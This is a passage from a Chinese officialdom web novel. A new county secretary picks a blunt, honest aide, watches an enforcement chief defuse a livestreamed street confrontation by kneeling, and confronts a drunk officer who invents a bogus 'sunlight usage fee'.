“我看林夕就不错,细心周到。”江昭宁想了一下道。
“对,林夕。”刘志刚点头,“小伙子在办公室工作五年了,能力很全面。”
“做事非常细心,安排工作井井有条,考虑问题也很周到细致。”
“举个例说,上次省里临时通知的紧急调研接待,时间紧任务重,就是他牵头协调,从路线规划、会场布置到材料准备,每个环节都抠得很细,连备用雨伞的数量、领导可能的口味偏好都考虑进去了,最后完成得很圆满,没出一点纰漏。”
“确实是个心细如发、办事稳妥的人。”刘志刚的语气里带着对林夕工作能力的认可。
江昭宁听着,手指又无意识地轻点桌面。
细心周到,这是联络员的基本素养。
他“嗯”了一声,示意刘志刚继续说下去。
刘志刚脸上掠过
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一丝极其复杂的表情。
他犹豫了几秒钟,最终还是决定坦诚相告:“江**,林夕这人,优点突出,但……缺点也很明显。”
“他平常是很好,待人接物也温和。”
“可就是……就是有时候那个犟劲儿一上来,九头牛都拉不回来。”
“哦?怎么个犟法?”江昭宁不动声色,眼神却更加专注。
他需要了解更具体的情况,而非模糊的形容词。
刘志刚叹了口气,语气带着几分无奈和惋惜:“他认死理!”
“而且非常坚持自己认为对的东西。”
“有时候,甚至……甚至不太顾及领导的感受和意见。”
他顿了顿,似乎在组织语言,回忆具体事例:“比如,前年服务现已调离的李副**的时候。”
“有一次,李副**急着要一个关于开发区招商引资的数据分析报告,时间要求很紧。”
“林夕熬了一宿弄出来,李副**看了初稿,觉得某些数据的表述不够‘亮眼’,要求他按某种‘更积极’的口径调整一下。”
“其实这在当时也算常规操作,大家都理解。”
“可林夕当场就顶回去了,说数据来源清晰,那样调整不符合实际,会误导决策,坚持不能改。”
“任凭李副**怎么暗示、甚至后来有点不高兴了,他就是梗着脖子不松口。”
“最后闹得挺僵,报告虽然按他的意思没大改,但李副**从那以后,就对他有了看法。”
刘志刚又补充道:“再后来有一次涉及到某个项目的群众**风险评估,林夕经过实地走访和材料研究,认为风险等级很高,必须重点标注。”
“某个领导觉得那个项目是县里重点工程,当时又在关键节点,担心风险等级写太高了影响进度和上级评价,希望他能‘策略性’地淡化一点。”
“结果林夕又犯了倔,在汇报会上据理力争,引经据典,把领导驳得有点下不来台……”
“虽然事后证明他的判断是对的,项目后期确实出了问题,但当时那种场合……唉。”
“所以几任领导,都是开始觉得他能力强、文笔好、认真负责,用着很顺手。”
“可时间一长,就因为他这认死理、不转弯的性子,慢慢就……不那么喜欢了,最后都把他退回了办公室。”
第48章 联络员须为诤友
“他现在主要负责的是文字综合这块。”
刘志刚说完,办公室里陷入短暂的沉默。
“他笔头怎么样?”江昭宁打破了沉默,语气平静,听不出波澜。他似乎抓住了最关键的一点。
“写作能力绝对是一流的!”刘志刚这次回答得毫不犹豫,语气甚至带着几分赞叹,“他是正儿八经的中文系高材生,功底非常扎实。”
“思路清晰,逻辑严密,文字精准有力,而且特别善于领会和转化政策精神。”
“现在办公室很多有分量的综合材料、重要报告、领导讲话稿,核心部分都出自他的手笔。”
“市里几次大型会议的典型经验材料,也是他主笔,反响都很好。”
“可以说,是咱们县委办一支名副其实的‘笔杆子’。”刘志刚对林夕的业务能力给予了高度评价。
“给我一份他写的报告。”
刘志刚从那叠资料里抽出了一份报告。
江昭宁的目光落在报告标题之下的核心段落上。“全县企业违规排污举报处理情况”几个醒目的黑体字跃入眼帘。
他的目光下移,林夕的笔触如解剖刀,清晰而不避讳:“经持续彻查,截止X年X月,确认存在违规排放企业计37家,其中规模以上18家,已立案处罚35家,责令限期整改27家,关停取缔2家,涉及饮用水源地保护区内违规建设。”
冰冷的数据之后是更为凌厉的文字:“后续巡查发现,其中8家受处罚企业仍存偷排迹象。”
“依据《水污染防治法》相关规定,县环境监察大队对其采取按日连续计罚强制措施。”
“案件后续将由县人民检察院介入,提起环境公益诉讼……建议强化在线监控联网监管与不定期突击抽检频次并举,对顶风违法者务必形成有效震慑。”
字字铿锵,句句如铁。
没有一句浮于表面的颂扬套话,没有半分因涉及当地“纳税大户”而和稀泥的委婉回避。
林夕的笔不只是书写,分明是穿透了某种惯常的遮蔽,用锋利如刃的文字镌刻着真相的艰难印记。
“行,”江昭宁斩钉截铁,“就要他了!”
刘志刚怔住,那份担忧急切地想要溢出口:“江**,他那性子——”
“若身边人只知唯唯诺诺、报喜不报忧,当领导的,耳聋目盲,想不犯官僚主义都难!”江昭宁的声音并不高亢,字句却沉实有力。
一个秘书,或者说联络员,如果只会察言观色、报喜不报忧,会是什么局面?
领导就成了坐在井底的青蛙,听到的都是过滤后的赞歌,看到的都是粉饰过的太平。
长此以往,闭目塞听,脱离实际,官僚主义、**必然滋生蔓延。
错误的决策,往往就源于信息的失真和反馈渠道的堵塞。
这样的“应声虫”,对工作,对事业,有百害而无一利!
他需要的,不是一个只会执行命令的传声筒,而是一个有思想、有原则、敢于直言的伙伴。
一个能在自己可能偏离轨道时,敢于站出来拉一把的人。
一个能在众人皆醉时,保持清醒、提供不同视角的人。
一个能基于事实和原则,而非仅仅基于领导好恶来思考问题的人。
秘书之于领导,不仅仅是服务者,更应该是诤友!是工作上的“净友”和“警哨”。
林夕的“犟”,在江昭宁看来,恰恰是“有风骨”“有原则”的表现。
那两件顶撞领导的事例,恰恰证明了他不唯上、只唯实的可贵品质。
他坚持数据真实,他坚持风险预警,这难道不是对工作、对事业最负责任的态度吗?
江昭宁自信有足够的胸襟和智慧去包容、引导一个真正有才且有原则的年轻人。
只要这颗心是正的,是为了工作,为了公事,再“犟”的脾气,也可以转化为推动工作的强大动力。
“工作不是请客吃饭,一团和气办不成事。”江昭宁目光平静得近乎冷峻,“秘书之于领导,就该是诤友之臣,而非一味逢迎的佞臣!”
“志刚同志,”江昭宁看着正要离去的刘志刚,补充了一句,
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语气带着一丝深意,“告诉林夕,到我这里来工作,我只有一个要求:实事求是,敢讲真话。”
“有什么想法,无论好的坏的,直接说。不要有顾虑。”
刘志刚喉咙轻微地动了动,“是!江**,我这就去办。”
刘志刚离开后,办公室重新恢复了寂静。
江昭宁开始处理了公文。
口袋里的手机轻微震动了一下。
他拿出来一看,是魏明君发来的短信:“江**,已召开巡警大队骨干紧急会议,传达精神,安抚人心。”
“纪委、组织部工作组明早进驻。”
“请放心,明君必不负重托。”
江昭宁的目光在这短短的几十个字上停留了片刻。
他的目光逐行扫过屏幕。
他能想象到那个场景:魏明君刚离开这里不久,便风驰电掣般行动起来,召**议。
“安抚人心”四个字背后,需要多少智慧和力量,又暗藏着多少无声的较量?
最后那句“请放心,明君必不负重托”,更像是一份沉甸甸的军令状,透着斩钉截铁的决绝和一往无前的担当。
这不是客套,是魏明君用党性在向他,向组织立下的承诺。
一股复杂而强烈的情绪在江昭宁胸中激荡。
他仿佛看到魏明君挺直的脊梁,看到他眼中那份破釜沉舟的决心。这份信任没有托付错人!
他的嘴角,不受控制地微微上扬。
然而,那笑意并非轻松愉悦,而是带着一种刀锋般的冷峻和磐石般的沉稳。
指尖在冰凉的手机屏幕上悬停片刻。
他需要回应这份沉甸甸的信任与担当。
江昭宁没有长篇大论,只是简洁有力地回复了两个字:“阅。稳进。”
“阅”,表示已知晓,一切尽在掌握。
“稳进”,是命令,更是嘱托——既要稳步推进,确保审查彻底、队伍稳定;又要锐意进取,不可畏缩不前。
发送成功。
江昭宁将手机轻轻放在桌角,屏幕的光暗了下去,重新融入办公室的静谧。
第49章 西瓜跪处无声雷
落日熔金,为机关大院的青灰色砖楼镶上黯淡的边沿。
东山县的夏日傍晚,空气黏稠滚烫,裹挟着行道树上聒噪的蝉鸣和机关食堂那股挥之不去的油烟混合着饭菜的沉重气息。
江昭宁推开食堂厚实的玻璃门,额角沁着一层薄汗。
他来东山县履新时间尚短,千头万绪如乱麻,这晚霞铺陈的闲暇实属难得。
“**,等我一下!”已是他专职秘书的林夕的声音,自身后急促追来,带着年轻人特有的气息微喘。
他脸上带着一丝执拗,“您这是要去哪儿?我陪您走走。”
江昭宁脚步微顿,侧头看了林夕一眼,点点头。
林夕在本地土生土长,熟门熟路,浸淫机关几年,脚下这片土地,他认得清每一条筋脉,每一寸纹理,的确是个好向导。
两人步履舒缓,并肩踏出机关那道肃穆如铁的大门。
机关之外的世界顿时喧腾鲜活了起来。
街边的杂货铺门口,店主摇着蒲扇,悠闲地看着街景。
小饭馆灶火的烟雾氤氲盘旋,夹杂着粗声大气的划拳声。
空气中飘来一阵诱人的烧烤气味,呛辣而直白。
孩子们尖叫着追逐一个皮球,带起一路轻尘。
晚霞将行人的背影拉扯得老长,投在余温未尽的水泥地上。
林夕尽职尽责,沿途指点着,声线平稳:“**,这条老东街,往前再走一段,拐过去就是县里早年间唯一的渡口码头,后来通了大桥才渐渐冷清……”
“喏,左手边那排老洋松,当年可是东山县的第一道‘迎宾门面’,如今树根都把石板顶得七拱八翘了……”
林夕口若悬河,如数家珍。
江昭宁心不在焉地听着,目光随意扫过眼前的街景。
夕阳熔金,给鳞次栉比的楼宇和街边葱茏的绿树镀上了一层柔和的暖光,空气里浮动着烟火人间的气息。
走着走着,江昭宁觉得不对劲儿。
前方不远处的岔路口,黑压压的人群如磁石般越聚越拢。
喧嚣声浪一阵高过一阵,刺耳得与傍晚的懒散氛围格格不入。
像一张无形的大口,骤然吞噬了大半条街的余晖。
林夕也感觉到了,话音戛然而止。
“去看看!”江昭宁声音沉了下来。
基层的风气冷暖往往就藏在这样的街头巷尾。
他不再迟疑,脚步陡然加快。
人群像是发酵的面团,里三层外三层不断膨胀,挤得密不透风。
空气浑浊黏腻,汗味、灰尘味和某种被压抑的焦虑混合成一股难闻的气息。
“麻烦让让!”“让让!让让!”林夕如同在粘稠的酱缸里跋涉。
他奋力在前,双臂用力,如同逆水行舟的篙,奋力拨开层层叠叠攒动的人头。
江昭宁紧随其后,他的目光穿透攒动的人头缝隙,焦灼地捕捉着中心。
人群的核心,景象突兀地撞入眼帘——一辆锈迹斑驳的三轮车,简陋的车斗被一个个浑圆深绿的西瓜塞得满满当当,几乎要溢出来。
瓜堆前,一位头发花白、脊背佝偻似一张旧弓的老农,面对一个穿着城管制服、身材敦实的中年男人,竟颤巍巍地屈下了膝盖。
“扑通”!那膝盖砸在柏油路面的闷响,像一记重锤敲在所有人心上。
“官老爷,行行好吧!”老人声音嘶哑干涩,如同被烈日晒裂的河床,“庄户人赚几个汗珠子钱,难啊!”
“您就高抬贵手,睁一只眼闭一只眼,放老汉这一马吧?”
“咱这些土里刨食的命苦,娃儿的学费药费都指望着这点瓜钱……抬抬手,饶了我老汉……成吗?”
他布满沟壑的黝黑脸庞上,汗水混着灰尘淌下,那双粗糙得如同老树皮的手,死死攥着城管制服的下摆,指节因用力而泛出死白,那是与土地搏斗了一生留下的印记。
“城管逼迫老人下跪!”一声亢奋到变调的尖叫撕裂空气。
只见一个染着刺眼黄毛的青年,高举着带补光灯的自拍杆,手机屏幕正贪婪地吞噬着眼前这一幕。
他对着镜头唾沫横飞:“家人们!都看看!火箭刷起来!热度冲上去!‘东山**,逼老农当街下跪’!这波流量稳了!”
他像打了鸡血,原地小跳着,镜头贪婪地捕捉着老人卑微的脊梁和城管那张骤然铁青的脸,仿佛那是他通往“泼天富贵”的金砖。
江昭宁的心猛地一沉,仿佛一脚踏空。
那“城管逼迫老人下跪”七个字,如同淬了剧毒的冰锥,瞬间刺穿了他作为地方主官所有的冷静。
自媒体为流量
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无所不用其极的疯狂,他太清楚了。
这标题一旦引爆网络,无异于在东山头上悬起一颗脏弹——想象中,各大平台热搜榜上触目惊心的标题轮番轰炸,评论区里愤怒的浪潮汹涌澎湃,“网黑东山”的标签将如跗骨之蛆……
这舆情的海啸一旦掀起,足以将东山苦心经营的一切拍得粉碎!
冷汗,毫无征兆地从他额角、脊背渗出,一片冰凉。
旁边的林夕更是脸色煞白,脑子里“轰”的一声,秘书的敏锐让他瞬间看到了无数个因舆情翻车的前车之鉴。
就在这千钧一发之际,就在黄毛的叫嚣声浪最高、围观人群情绪即将被点燃的临界点上,那一直沉默的中年城管动了。
他盯着眼前苦苦哀求的老人,眼眶骤然一红,没有丝毫犹豫,“咚!”
又是一声沉重的闷响!
这一次,膝盖砸在滚烫沥青路上的声音如同惊雷击打在每个人的心坎上。
他结结实实地跪在了跪地的瓜农面前,直挺挺地对着那苍老佝偻的身影!
这猝不及防的一跪,比刚才任何喧嚣嘶喊都更有千钧力量,瞬间吸走了此间所有的氧气!
“大爷!使不得!您快起来!”他声音洪亮,带着一丝不易察觉的哽咽,在突然死寂下来的空气里异常清晰,“这路口车来车往,跟下饺子似的!”
“您在这儿摆摊,万一哪个车刹不住……伤着您,撞着买瓜的人,那可咋办?”
“都是为了安全啊!”
他深吸一口气,语气异常恳切,“您信我,咱不在这儿堵着路、提着心卖瓜。”
“我帮您推车,咱找个稳当敞亮的地界儿,踏踏实实地卖,行不?”
这石破天惊的一跪,如同无形的巨掌,瞬间扼住了所有人的喉咙。
前一秒还在为“爆款”狂热的黄毛青年,张大了嘴,举着自拍杆的手臂僵在半空,像一尊滑稽的泥塑。
他屏幕上滚动的弹幕似乎也停滞了一瞬。
周围密密匝匝的看客们,脸上写满了错愕与茫然。
刚刚掏出手机准备拍摄的几个人,手指悬在屏幕上方,忘了动作。
空气凝滞了,连风也屏住了呼吸。
只剩下远处车辆模糊的鸣笛和三轮车老旧铁皮在寂静中发出的轻微“咯吱”声。
第50章 勤勉担当
就在这万籁俱寂的几秒钟里,时间仿佛被无限拉长。
江昭宁清晰地看到中年城管跪在那里,背脊挺得笔直,深蓝色的制服裤子因这突然的跪姿绷紧了裤线,沾上了地面的浮尘。
他脸上没有表演式的悲情。
只有一种近乎笨拙的诚恳和深切的焦急。
老农仰起布满沟壑的脸,浑浊的眼睛里蓄满了难以置信的惊愕,一滴浑浊的老泪毫无预兆地滚落下来,砸在滚烫的柏油路上,瞬间洇开一小片深色。
他那双死死攥着城管裤腿的手,指头一根根僵硬地松开,微微颤抖着,悬在半空,仿佛不知该往哪里放。
“陈队……”人群外围,一个年轻的协管员低低唤了一声,声音里带着惶惑。
被称作陈队的中年城管没有回头,只是定定地看着老农,再次伸出双手,坚定地扶住了老农的臂弯:“大爷,起来吧,地上烫。”
“咱这就挪车,我推着,您扶着点就行。”他的声音不高,却带着一种不容置疑的力量。
老农的身体被那股温和而坚定的力量托扶着,迟疑地、试探地站了起来。
他佝偻的背似乎挺直了一点点,茫然地看了看城管,又看了看周围黑压压的人群。
最后目光落回自己那辆满载西瓜的三轮车上。
陈队随即站起身,没有丝毫拖泥带水。
他转身走到三轮车后,双手稳稳地抓住了锈迹斑斑的车斗边缘,摆好了推车的姿势,扭头对老农说:“大爷,您前头掌着点车把,咱慢慢走,找个好地方。”
黄毛青年这时才像被解了穴道,猛地回过神来,脸上的狂喜早已被一种被愚弄般的恼怒取代。
他眼珠一转,立刻调整策略,对着手机镜头拔高音量,试图重新点燃气氛:“家人们看到了吗?事情有反转!城管跪了!这波操作666!但该罚还得罚吧?”
“这里面有没有猫腻?双击屏幕……”
然而,他的煽动这次像是撞在了一堵无形的墙上。
围观人群没有如他预期般再次骚动。
几个原本跟着起哄的年轻人,看着城管推车的背影和老农茫然又带点感激的侧脸,默默收起了手机。
一个提着菜篮子的老太太,用方言低声嘀咕着:“唉,都不容易啊……”
声音不大,却清晰地传开。
气氛悄然转变,一种复杂而微妙的情绪在人群中弥漫开来——有惊愕后的释然,有看戏落空后的无趣。
但更多的,是一种被这意外转折所触动的沉默。
林夕长长地、无声地吁出一口气,感觉后背衬衫已经湿透,紧紧贴在皮肤上,一片冰凉。
他飞快地瞥了一眼江昭宁。
江昭宁脸上惯常的温和沉静已经恢复,只是眼神深处,还残留着一丝风暴过后的余悸和锐利的审视。
他没有说话,目光如无形的探针,紧紧锁定在那推车的中年城管身上。
陈队推着沉重的三轮车,脚步沉稳。
车斗里的西瓜随着颠簸轻轻滚动,发出沉闷的碰撞声。
他后背的蓝色制服被汗水浸湿了一大片,颜色更深。
他一边用力推车,一边微微侧头,对身边亦步亦趋、仍旧有些手足无措的老农低声说着什么,神情专注。
老农不住地点头,偶尔抬手抹一下眼角。
人群如同被推开的潮水,自动让开了一条通道。
三轮车吱呀作响,缓缓驶离了那个混乱的路口,也暂时驶离了**的风暴眼。
黄毛青年不甘心地举着**拍了几步,但镜头里只剩下两个推车远去的背影和一众沉默的看客。
他悻悻地放下自拍杆,嘴里不甘地嘟囔着,显然明白这“爆款”的潜力已经大打折扣。
一场足以引爆网络的危机。
似乎被那突如其来的一跪,硬生生地按下了暂停键。
那中年城管最后深深回望的一眼,平静之下分明涌动着复杂的暗流——那绝非仅仅是一个基层执法者面对突发状况的急智。
更像是在千钧一发之际,精准地扑向了一场即将吞噬整个城市的**山火。
这份责任和担当……
江昭宁站在原地,感受到夕阳余温渐渐从皮肤上撤退,取而代之的是一种来自心底深处的滚烫,无声蔓延。
江昭宁目光依旧追随着三轮车消失的方向,仿佛还能看见那个深蓝色的、推车时微微弓起的背影。
这背影与记忆中无数或疲惫、或敷衍、或强硬的基层执法者形象截然不同。
终于,他缓缓侧过头,声音不高,却带着一
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种不容置疑的探寻意味,问身边的林夕:“你认识这位陈队吗?”
语气平淡,仿佛只是随口一问。
但林夕敏锐地捕捉到了**眼底深处那抹尚未散去的审视与郑重。
林夕立刻上前半步,微微躬身,压低声音回答,带着一种确认后的笃定:“**,刚才他回头时,我看清了。“
“他叫陈向荣,是咱们县住建局的副局长,同时兼任城管大队的大队长。”
林夕顿了顿,补充道,语气里也带上了几分由衷的感慨:“今晚这事……处理得确实……嗯,是个有责任和担当的人。”
江昭宁没有立刻接话,脸上也看不出特别的赞许或否定,仿佛林夕的评价只是掠过耳畔的一缕风。
但他的行动却清晰地表露了内心的波澜。
他从口袋里取出通讯录。
他的手指在写满名字的纸页上平稳滑过,目光锐利而专注。
很快,“陈向荣”三个字跳入眼帘。
这个名字后面,原本只简单地标注着“住建局副局长/城管大队长”的职务信息。
江昭宁的目光在“陈向荣”这三个字上停留了片刻。
眼前浮现的,是刚才路口那惊心动魄的一幕:老农卑微下跪时他铁青的脸,黄毛叫嚣时他眼中瞬间的痛楚与决绝,以及那毫不犹豫、同样沉重的一跪,那恳切洪亮的解释,那转身推车时沾满灰尘的裤线和被汗水浸透的后背……
每一个细节,都在无声地诠释着“责任”与“担当”在危急关头的真实模样。
他用水芯笔在“陈向荣”名字旁边的空白处,手腕沉稳有力,郑重地画下了一个独特的符号:一个坚实稳固的三角(△),象征着根基与支撑,紧跟着一个醒目的感叹号(!)。
这便是他通讯录里代表最高层级认可的“勤勉担当”符号。
这个符号看似简单,却重若千钧,凝聚着一位县委**对一个基层干部在关键时刻所展现出的**品格、应变能力和为民情怀的最高肯定。
画完最后一笔,他指尖在符号上轻轻顿了一下,才缓缓合上通讯录。
江昭宁心中,关于陈向荣的认知,以及由此引发的对干部队伍建设的思考,才刚刚掀开新的一页。
两人继续向前走!
第51章 荒谬的收费名目!
傍晚的风裹挟着东江河特有的水腥气拂面而来,带来一丝难得的清凉。
江昭宁和林夕沿着略显破败的江岸漫步。
眼前的景象却让这份凉意打了折扣。
所谓的东江风光带,不过是条坑洼不平的土路,岸边杂草丛生,废弃的塑料袋、烂菜叶、一次性饭盒等垃圾随处可见,在昏暗中散发着隐隐的酸腐气息。
临江的街道狭窄逼仄,两旁挤满了各式各样的店铺,招牌陈旧,电线如蛛网般凌**织。
浑浊的江水静静流淌,倒映着岸边的杂乱无章。
江昭宁眉头微蹙,一个关于开发沿江风光带、为县城百姓打造一处亲水休闲空间的构想,在他脑海中逐渐清晰起来——这脏乱差的景象,与他对东山未来宜居图景的规划格格不入。
就在这时,一阵尖锐的争吵声打破了江边的沉闷,从不远处一家挂着“便民南杂日用品”崭新招牌的店铺门口传来。
只见两个身着城管制服的身影,一胖一瘦,正围着一个坐在小叠折椅上埋头写作业的小男孩。
小男孩约莫七八岁,面前的小凳子上摊着书本,借着店铺透出的灯光和尚未完全消失的天光,一笔一划写得认真。
胖城管身材魁梧,满脸酒气,肚子将制服撑得紧绷,正叉着腰,居高临下地呵斥着。
瘦城管则在一旁帮腔,眼神带着一种不耐烦的审视。
“喂!小孩!这椅子谁让你摆出来的?收进去收进去!”胖城管的声音粗嘎,带着不容置疑的命令口吻。
小男孩被吓了一跳,握着铅笔的手僵住了,茫然地抬起头,大眼睛里满是困惑和一丝恐惧。
店内立刻冲出一个年轻的妇女,显然是孩子的母亲。
她脸色涨红,带着几分不服和护犊子的急切:“同志,我家孩子就在自家门口写会儿作业,碍着谁了?”
“这又不是大马路中间!”
“傍晚这点儿自然光多好,省电!又有凉风!”
胖城管被顶撞,脸上横肉一抖,提高嗓门:“少废话!**刚上任就强调市容市貌!”
“你这椅子放外面,乱七八糟,像什么样子?影响美观!”他手指用力点了点那张普普通通的蓝色塑料叠折椅,仿佛指着什么洪水猛兽。
“椅子影响美观?”年轻妇女气笑了,指着周围的环境,“您看看这河边堆的垃圾,看看这乱糟糟的电线杆子的牛皮癣!”
“一张小孩写作业的椅子,干干净净摆自家门口,离人行道还有老远呢,怎么就碍着市容了?”
“这道理说到天边去也说不通!”
胖城管被噎得一时语塞,梗着脖子,眼珠一转,竟脱口而出一个荒诞不经的理由:“你…你强词夺理!我说影响就影响了!规矩就是规矩!”
“要利用这傍晚的自然光写作业也行,”他伸出两根肥短的手指,晃了晃,“交二百块‘日光使用费’!”
“公共区域的光线,能让你白用?”
“日光使用费?!”这四个字如同平地惊雷,不仅让年轻妇女目瞪口呆,连不远处凝神倾听的江昭宁都瞬间懵了。
他简直不敢相信自己的耳朵——一个基层执法人员,竟然能堂而皇之地编造出如此荒谬绝伦的收费名目!
这简直是对公权力赤裸裸的滥用和侮辱!
一股难以抑制的怒火直冲江昭宁的顶门。
他再也按捺不住,迈步上前,声音不高,却带着一股沉甸甸的威压:“这位同志,小孩子在自家店铺门口,借着天光写会儿作业,没占道,没扰民,更没违法吧?”
“收‘日光使用费’?这是哪条法律法规规定的?”
胖城管正为自己“急中生智”想出的收费名目暗自得意,冷不防被一个穿着普通、看起来像是路人的年轻男子质问,顿时觉得权威受到了挑战。
他上下打量了江昭宁几眼,没看出什么特别,立刻摆出更加蛮横的姿态,唾沫星子几乎喷到江昭宁脸上:“他一个小崽子坐这儿,就是影响城市美观了!看着就碍眼!”
“我们城管管的就是这些!上管天,下管地,中间管空气!别人坐哪儿,我们还真就管得着!不服?”他挺着肚子,气势汹汹。
旁边的瘦城管也凑了过来,斜着眼,阴阳怪气地帮腔:“哟呵,哪个犄角旮旯
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蹦出来的?装什么大瓣蒜?”
“我们执**得到你指手画脚?”
“再说了,他这么一坐,万一有人走路绊倒了呢?”
“这不是妨碍通行是什么?”胖城管一手指着空旷得能跑马的人行道边缘,强词夺理。
他话音未落,一直沉默的孩子忽然带着哭腔小声争辩:“我…我靠着墙,根本没挡道……”声音怯怯的,几乎被风吹散。
林夕再也按捺不住,大步跨到江昭宁侧前方,迎着胖城管那蛮横的目光:“睁开眼看看!孩子就贴着自家门框坐着!离人行道少说还有三米远!”
“挡什么路了?”
“刘建东,你是城管不是天王老子!不能这么乱来!”
“你这是滥用职权,乱罚款!”
刘建东的目光像刷子一样在林夕脸上刮过,似乎才认出他来。
那张油脸瞬间挤出一个混杂着鄙夷和嘲讽的怪笑,尖利地呵斥道:“我当是谁?县委办那个没人要的‘弃子’林大秘书啊?!”
“怎么着?在机关里像个瘟神似的没人待见,跑这犄角旮旯的江边刷什么存在感了?”
“滚远点!轮得到你搁这教训老子?”
“林夕”这个名字仿佛一块滚烫的石子,狠狠地砸进了旁边那个狐假虎威的瘦城管耳中。
他之前只顾着帮腔,此刻眼珠子不安地转动了一下,下意识地往后缩了缩步子。
林夕被这当众扒皮般的羞辱刺得脸色血红,一口气堵在胸口,**感如毒藤缠缚,让他指尖都在发颤。
他咬着牙,一字一顿:“我不是教训你!我是在制止你胡作非为!拿鸡毛当令箭,拿**的指示当敲诈勒索的幌子!还有王法吗??”
“胡作非为?!”刘建东仿佛被戳中了什么痛处,脸上的横肉猛地一抽,声音陡然拔高,几乎要刺破浑浊的江风:“老子是在贯彻落实新**的精神!外面不能乱摆乱放!懂不懂?!”
“**的车轮子就要碾过来了!你这椅子不是‘摆’是什么?!”
“**抓市容环境整治,外面就是不能摆摊设点。懂不懂?我们这是执行命令!”
第52章 抗拒罚款?
“小孩子写作业,吹点自然风,这是‘乱摆乱放’?这是摆摊设点?”江昭宁的声音陡然拔高,冰冷的怒火几乎要喷涌而出。
他万万没想到,自己强调的规范市容环境,到了下面竟被如此曲解,成了这些蛀虫敲诈勒索、欺压百姓的尚方宝剑!
他强压着掀翻对方的冲动,一字一句地质问:“再说,江**什么时候说过反对摆摊设点?”
“我记得清清楚楚,他强调的是‘规范经营’,你在这里打着**的旗号胡作非为,谁给你的胆子?!”
刘建东被这连番质问戳到了痛处。
尤其对方似乎对**的讲话很熟悉,这让他心里闪过一丝不易察觉的慌乱。
但长期的跋扈和酒精带来的亢奋,让他选择了更加蛮横的对抗。
他恼羞成怒,猛地一指江昭宁的鼻子:“好哇!还敢跟老子顶嘴?妨碍公务!质疑执法!”
“就冲你这态度,罚款两百!”
“现在、立刻、马上交钱!”
“识相点,敢不交,你……你们今天谁都别想溜!”他身后的瘦城管也配合地向前逼近一步,形成压迫之势。
面对这蛮横无理、狐假虎威的“哼哈二将”,江昭宁心中的怒火终于如火山般爆发!
这些基层的蠹虫,不仅公然践踏法规,欺压良善,竟然还敢打着他的名号招摇撞骗,甚至嚣张到要对县委**本人罚款?!
这简直荒谬绝伦,更是对他施政理念的严重玷污!
江昭宁的眼神瞬间变得锐利如刀,周身散发出的寒意让旁边的林夕都心头一凛。
他不再看眼前这两个跳梁小丑,侧头对林夕沉声命令,每一个字都像冰珠砸在地上:“林秘书,立刻通知陈向荣!”
“让他跑步过来!立刻!马上!”
“陈…陈队?”瘦城管听到“陈向荣”三个字,脸色明显一变,嚣张气焰像被针扎破的气球,瞬间泄了一半,眼神闪烁,下意识地往刘建东身后缩了缩。
陈向荣毕竟是他们的顶头上司,积威犹在。
然而,刘建东在短暂的惊愕之后,非但没有畏惧,反而爆发出更加狂妄的大笑。
酒精彻底冲垮了他的理智和分寸。
他指着江昭宁,仿佛听到了天底下最好笑的笑话,唾沫横飞:“哈!哈哈哈!叫陈向荣?”
“你以为搬出他就能压老子一头?”
“告诉你,姓陈的来了又怎么样?老子真还没把他放在眼里!”
“一个泥腿子,靠当兵才爬上来的大队长,算个什么东西?”
“他敢动老子一根手指头试试?老子上头有人!”他拍着胸脯,唾沫星子在暮色中飞溅,那副有恃无恐、无法无天的嘴脸,在昏暗的灯光下显得格外狰狞。
空气仿佛凝固了。
小店内孩子的母亲惊恐地捂住了孩子的眼睛。
周围远远围观的人群也屏住了呼吸,被刘建东这狂妄到极点的宣言惊呆了。
林夕气得脸色煞白,手指紧紧攥着手机,指节发白。
江昭宁则面无表情,只是眼神深处,那冰冷的怒火已经沉淀为一种近乎实质的寒冰。
他不再言语,只是静静地站着,像一座即将喷发的火山被强行按下了暂停键,等待着那个人到来。
东江河,水声呜咽,仿佛也在为这荒诞的一幕叹息。
时间在令人窒息的僵持中一分一秒地流逝。
刘建东的叫嚣余音似乎还在污浊的空气中震荡,混合着河水的腥气和垃圾堆隐约的馊味,形成一种令人作呕的氛围。
年轻母亲紧紧搂着吓得不敢出声的孩子,眼神惊恐地在江昭宁和两个城管之间逡巡。
瘦城管眼神飘忽,额角渗出细密的冷汗,偷偷拽了拽刘建东的衣角,却被对方粗暴地甩开。
林夕的电话早已拨通,他压低声音,语速极快地将地点和“**在现场,情况紧急”的信息传递过去。
挂断电话后,他紧抿着唇,身体微微绷紧,像一柄出鞘一半的利剑,警惕地护卫在江昭宁侧前方,目光死死锁住刘建东,防备着对方任何可能的过激举动。
江昭宁则彻底沉寂下来。
他不再与刘建东争辩一个字,甚至连看都懒得再看对方一眼。
他的目光越过刘建东那因酒精和狂妄而扭曲的胖脸,投向东江河面。
浑浊的河水无声流淌,倒映着岸边零星杂乱堆叠的垃圾轮廓。
这份
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破败的景象,与眼前这出打着“整治市容”旗号上演的闹剧,形成一种刺眼的讽刺。
他心中的怒火并未熄灭,反而在极致的冷静中淬炼得更加纯粹而冰冷——这不仅仅是刘建东个人的跋扈,更是整个基层治理生态中某些环节溃烂的脓疮!
他构想的沿江风光带,首先要荡涤的,就是这种深入骨髓的“垃圾”!
就在刘建东被这死寂般的沉默弄得有些心浮气躁,想要再次开口挑衅时。
一阵急促而沉重的脚步声由远及近,踏破了河岸的沉寂。
“让开!让开!”陈向荣人未到,焦急的吼声先传了过来。
只见他一路小跑,深蓝色的制服衬衫后背已被汗水浸透了一大片,紧紧贴在身上。
他跑得气喘吁吁,额头上全是亮晶晶的汗珠,脸上混杂着焦虑、惶恐和一丝难以置信的惊怒。
他几乎是用身体撞开了几个驻足围观的闲人。
像一颗炮弹般冲到了冲突现场。
“刘建东!你干什么?!”陈向荣一眼就看到了剑拔**张的场面,尤其是看到江昭宁那冷峻如冰雕的侧影和林夕铁青的脸色,他的心瞬间沉到了谷底,一股寒意从脚底板直冲头顶。
他厉声喝问,声音因为奔跑和惊怒而有些嘶哑变形。
刘建东看到顶头上司真的气喘吁吁地跑来了,酒意瞬间醒了大半,嚣张的气焰不由自主地矮了三分。
但他仗着酒劲和长期养成的跋扈,以及自恃的“靠山”,依旧梗着脖子,试图强撑:“陈队?你怎么来了?”
“这…这儿有点小**,我们在正常执法!”
“这人妨碍公务,还抗拒罚款!”
他手指指向江昭宁,语气依旧带着强硬的指控,但眼神已经有些飘忽。
“正常执法?抗拒罚款?”陈向荣气得浑身发抖。
江昭宁终于缓缓转过身,正面看向陈向荣。
他的脸上没有任何表情,平静得像一潭深不见底的寒水。
只有那双眼睛,锐利如鹰隼,直直刺入陈向荣的眼底。
他没有说话,也不需要说话。
